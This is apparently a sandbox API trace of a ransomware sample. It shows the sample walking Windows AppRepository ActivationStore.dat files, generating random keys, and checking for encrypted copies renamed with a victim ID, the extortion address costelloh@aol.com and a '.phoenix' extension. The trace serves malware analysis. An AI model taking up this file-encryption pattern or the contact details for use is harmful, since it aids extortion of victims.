	[0251.081] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.081] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.081] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.082] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=65536) returned 1
	[0251.082] CloseHandle (hObject=0x2d4) returned 1
	[0251.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0251.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.082] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.082] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.082] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.083] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0251.083] CloseHandle (hObject=0x2d4) returned 1
	[0251.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.087] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.087] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.087] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.087] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0251.087] CloseHandle (hObject=0x2d4) returned 1
	[0251.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.088] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.088] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.088] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.089] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0251.089] CloseHandle (hObject=0x2d4) returned 1
	[0251.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.089] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.089] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.089] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.090] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0251.090] CloseHandle (hObject=0x2d4) returned 1
	[0251.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.090] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.090] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.090] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.091] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0251.091] CloseHandle (hObject=0x2d4) returned 1
	[0251.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.091] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.091] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.091] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.092] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0251.092] CloseHandle (hObject=0x2d4) returned 1
	[0251.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.093] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.093] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.093] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.093] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0251.093] CloseHandle (hObject=0x2d4) returned 1
	[0251.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.094] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.094] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.094] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.095] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0251.095] CloseHandle (hObject=0x2d4) returned 1
	[0251.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0251.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.095] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.095] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.095] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.096] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=65536) returned 1
	[0251.096] CloseHandle (hObject=0x2d4) returned 1
	[0251.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.096] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.096] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.096] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.097] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0251.097] CloseHandle (hObject=0x2d4) returned 1
	[0251.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.097] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.098] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0251.098] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.098] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8192) returned 1
	[0251.098] CloseHandle (hObject=0x2d4) returned 1
	[0251.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0251.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CredDialogHost_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.creddialoghost_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
